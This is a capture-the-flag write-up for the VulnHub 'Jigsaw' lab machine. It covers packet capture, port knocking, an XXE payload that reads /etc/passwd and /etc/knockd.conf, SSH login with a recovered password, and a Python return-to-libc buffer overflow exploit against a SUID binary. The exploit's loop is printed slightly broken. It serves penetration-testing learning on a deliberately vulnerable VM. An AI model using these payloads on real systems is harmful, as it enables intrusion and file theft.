Vulnhub - Jigsaw writeup


Machine setup

I downloaded the VM and imported in Oracle’s VirtualBox but when I tried to start the machine I got the following error

Could not start the machine jigsaw because the following physical network interfaces were not found:

Realtek 8812AU Wireless LAN 802.11ac USB NIC (adapter 1)

You can either change the machine's network settings or stop the machine.

So I changed the USB setting from 2.0 to 1.1 and that fixed the issue.

Thanks to @paradox for helping me in fixing that issue.

Flag 1


I started with a basic nmap scan i.e nmap -sV -A Machine-IP but that gave out nothing.

So I decided to use the -Pn to skip the ping part since I was sure the host was up and running. But again that scan yield out nothing.

Then @Robin said that we have to use wireshark while running the nmap scan and that will possibly yield something.

This step is very similar to the intial step of another VulnHub machine named Wall

So I started the nmap scan i.e nmap -sV -Pn Machine-IP and then started capturing those packets. After the scan was completed I analyzed the PCAP and found something interesting in one of the UDP packets.

If we follow that UDP stream we get

Okay so there’s some data on the UDP port 666(as that udp request was on port 666).

@Robin said that if we run echo "j19s4w" | nc -u IP 666 we get some data and by some data he meant the very first flag.

Let’s decode that base64 and see what we get

echo "ZmxhZzF7MzAzNGNjMjkyN2I1OWUwYjIwNjk2MjQxZjE0ZDU3M2V9CllvdSBjb21wbGV0ZWQgeW91ciBmaXJzdCB0ZXN0LiBOb3cga25vY2sgdGhlc2UgbnVtYmVycyB0byBmaW5kIHdoYXQgeW91IHNlZWsuIDU1MDAgNjYwMCA3NzAw" |base64 -d
You completed your first test. Now knock these numbers to find what you seek. 5500 6600 7700

🎉 We have the first flag.

Flag 2

Now let’s just do what it says in the message, knock those port and see what we get.

There are lot of good tools out there for port knocking like knockd etc use which ever tool you prefer.

I used guelfoweb’s knock:

➜ knock 5500 6600 7700

After running the knock on the given ports I got nothing. There wa no output but again @Robin the saviour said that we are supposed to run nmap after that and then we’ll see some open ports.

He was right, now we can see port 80 as an open port running apache server.


I was very confused at first because I didn’t knew how exactly that(port knocking) works. But after reading the Wikipedia page for port knocking I understood the whole thing.

Those ports are firewall ports and if we knock them in certain order then the firewall rules changes dynamically allowing us to see all the ports that are open on the host.

If we visit the website, We can see an image of jigsaw. Looking at the source of the website we find a comment

Also that’s not an image but a gif.

I tried running dirsearch but it didn’t found anything. After some thinking I realized that it’s actually a CTF type machine so I proceded with CTF mentality. I downloaded the gif file and ran strings command on it and there it was, a page that we are supposed to visit on that website.

Visiting the URL (http://IP/w4n770p14y494m3/) we are provided with a login form and no matter what username we provide it says username does not exists

If we go through the source of the page we can see that there’s an XML function that’s doing all the work for the page. This could mean we need to do XXE on this to read some files. Since we don’t have any predefined path we’ll be looking out for general paths like /etc/passwd etc.

This is what the normal request on that form looked like

So it’s sending the following data:

<?xml version="1.0" encoding="UTF-8"?><root><email>mzfr</email><password>123</password></root>

We can change it to :

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root><email>&xxe;</email><password></password></root>

This will give us the content of the /etc/passwd

Okay so no the thing is we should try to read some other file.


Looking back at everything we did the one thing that would stand out in context of having file is knocking port. Why? Well because we knocked a certain sequence of ports to open a port 80 how would the system know which sequence is the right one that means it must be written somewhere. A bit of googling about port knocking and I found out that sequences are defined in /etc/knockd.conf, let’s see if we can read that.


We can see sequence for opening the SSH ports i.e 7011,8011,9011. Let’s knock them off

➜ knock 7011 8011 9011

and after running the above command I ran nmap to check if it worked and obviously it did 😏

Now we can login and to jigsaw account. But wait we still need a password for the jigsaw's SSH account. Naah we already have that 😏

Remember the message we received in the wireshark UDP packet

That means j19s4w is the password. Login with that account and there’s a file named y0ud1dw3118u7175n070v32.txt , cat that and you’ll have it.

Flag 3

Finally we are in the system let’s use some enumeration script and see what we can find about the machine.


I kinda prefer jalesc instead of LinEnum, both does the same thing but jalesc gives a bit colorfull output. 😄

I went through the output and found a SUID named game3. So this damn thing has to be related to RE or PWN 😢

I transfered the file from the machine to my system using SFTP.

I tried to feed it with big junk data and I got SIGEGV, seems like BoF.

I am not good in PWN at all so I decided to message @DCAU7 to get some help and he provided gave me a link to post about Return To Libc Buffer overflow


According to him @DCAU7, @4ndr34z was the one who originally found this post so thanks to him too 😄

Okay back to work, I followed the article(from the server section) and was able to write my own exploit for return to libc BoF

from subprocess import call
import struct

libc_addr = 0xb752e000
sys_addr = struct.pack("<I", libc_addr+0x00040310)
arg_addr = struct.pack("<I", libc_addr+0x00162d4c)
exit_addr = struct.pack("<I", libc_addr+0x00033260)

buf = "A"*76
buf += sys_addr
buf += exit_addr
buf += arg_addr

i = 0
    print("Try: %s" % (i))
    i += 1
    ret = call(["/bin/game3", buf])

NOTE: Don’t copy paste my script, all those address will be different in your scenario.

Now run the script(python and 💥

I loved this machine for number of reasons:

1) I got to learn that wireshark method for initial foot hold,To be honest I don’t even know what that method is called but I didn’t knew things could work that way.

2) I did my very first BoF, even though it’s kinda like copying from the website but hey I learned how to do it so I think that would count.

Also I came to know about this machine via TryHackMe. It’s an awesome website if you want to start in with CyberSecurity. Make sure to check it out.

Thanks to

  • @zayotic for creating an awesome machine,
  • @DCAU7 for helping out with BoF and
  • @Robin for great teamwork!